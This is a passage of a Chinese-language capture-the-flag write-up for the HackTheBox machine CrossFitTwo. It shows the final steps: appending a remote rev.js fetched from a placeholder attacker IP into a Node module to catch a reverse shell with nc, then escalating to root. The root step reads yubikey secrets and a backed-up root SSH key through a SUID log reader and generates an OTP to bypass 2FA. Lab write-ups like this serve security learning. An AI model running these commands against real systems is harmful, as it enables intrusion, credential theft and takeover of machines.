mkdir /opt/sysadmin/node_modules && cd /opt/sysadmin/node_modules
cp -r /usr/local/lib/node_modules/log-to-file . && cd log-to-file
curl 'http://YOUR_IP/rev.js' >> app.js

过一会得到shell,用户为john

1
2
3
4
5
$ nc -lnvp 4242
listening on [any] 4242 ...
connect to [YOUR_IP] from (UNKNOWN) [10.10.10.232] 26296
id
uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins)

提权-Root

john属于staff组,让我们看看该用户组拥有哪些文件

1
2
3
4
5
6
7
crossfit2$ find / -group staff -exec ls -ld {} \; 2>/dev/null
-rwsr-s--- 1 root staff 9024 Jan 5 13:04 /usr/local/bin/log
crossfit2$ /usr/local/bin/log

* LogReader v0.1

[*] Usage: /usr/local/bin/log <log file to read>

/usr/local/bin/log设置有SUID位,尝试几个路径都是提示"[-] Log file not found!",下载/usr/local/bin/log到本地分析

/images/HTB-CrossFitTwo-Machine/Untitled%208.png

/usr/local/bin/log调用了unveil函数将可读取的目录限定在/var及其子目录下,需要在/var目录范围内读取有价值的文件

/var目录下发现/var/db/yubikey。通过OpenBSD Yubikey Authentication的例子,在/var/db/yubikey目录找到3个文件:root.ctrroot.keyroot.uid

1
2
3
4
5
6
crossfit2$ /usr/local/bin/log /var/db/yubikey/root.ctr
985090
crossfit2$ /usr/local/bin/log /var/db/yubikey/root.key
6bf9a26475388ce998988b67eaa2ea87
crossfit2$ /usr/local/bin/log /var/db/yubikey/root.uid
a4ce1128bde4

Google关键字"OpenBSD backup",找到changelist manual/etc/changelist包含要备份的文件列表,而/root/.ssh/id_rsa包含在/etc/changelist

1
2
crossfit2$ cat /etc/changelist | grep id_rsa
/root/.ssh/id_rsa

手册中给出了备份的示例,名为/etc/shells的文件会备份到/var/backups/etc_shells.current,所以我们可以用/usr/local/bin/log读取路径/var/backups/root_.ssh_id_rsa.current得到id_rsa

由于目标配置了yubikeyOTA 2FA,除了id_rsa认证,还需要用root.ctrroot.keyroot.uid生成的OTP作为密码进行二次认证。生成OTP可使用yubico-c

1
2
3
4
# 命令来自https://raidforums.com/Thread-Free-Flag-Crossfittwo?highlight=CrossFitTwo#:~:text=./ykgenerate%20cat%20root.key%C2%A0%20cat%20root.uid%C2%A0%20%24(printf%20%22%2506x%22%20%24(expr%20%24(cat%20root.ctr)%20%2B%201)%20%7C%20sed%20%27s/..%24//g%27)%20c0a8%2000%20%24(printf%20%22%2506x%22%20%24(expr%20%24(cat%20root.ctr)%20%2B%201)%20%7C%20sed%20%27s/%5E....//g%27)
$ ./ykgenerate $(cat root.key) $(cat root.uid) $(printf "%06x" $(expr $(cat root.ctr) + 1) | sed 's/..$//g') c0a8 00 $(printf "%06x" $(expr $(cat root.ctr) + 1) | sed 's/^....//g')
cvdhgrcdcgchuuuujrnnftibvththecb
$ echo $(expr $(cat ../root.ctr) + 1) | tee ../root.ctr

使用id_rsa和上面命令生成的OTP,以root用户登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ssh root@crossfit.htb -i id_rsa
root@crossfit.htb's password: cvdhgrcdcgchuuuujrnnftibvththecb
OpenBSD 6.8 (GENERIC.MP) #4: Mon Jan 11 10:35:56 MST 2021

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

crossfit2# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

说明

依靠@xFrankyCrossFitTwo Writeup完成的部分:

  • 通过socket.io获取davidSSH凭证的方法
  • id_rsa所在路径:/var/backups/root_.ssh_id_rsa.current
  • 生成OTP的工具&命令

关于/var/backups/root_.ssh_id_rsa.current,是已知该路径后,再试图还原是如何发现它的

附加

password-reset.php生成密码重置URL与验证DNS逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$dns = dns_get_record($host, DNS_A);
if(!is_array($dns) || count($dns) < 1 || !array_key_exists('ip', $dns[0]) || $dns[0]['ip'] !== '127.0.0.1')
{
echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">Only local hosts are allowed.<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button></div>';
}
else
{
$link = "http://$host/password-reset.php?token=$token";
// Send the link via email (not really)
$sqlitedb = new PDO('sqlite:/db/urls.db');
$sqlitedb -> setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt_h = $sqlitedb->prepare('INSERT INTO urls(url) values (:val_1)');
$stmt_h->bindParam(':val_1', $link);
$stmt_h->execute();
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">Reset link sent, please check your email.<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button></div>';
}

参考

Crossfittwo | RaidForums

relayd(8) - OpenBSD manual pages

Unbound by NLnet Labs - Unbound documentation

unbound.conf(5) - OpenBSD manual pages

OpenBSD Yubikey Authentication

changelist(5) - OpenBSD manual pages

yubico-c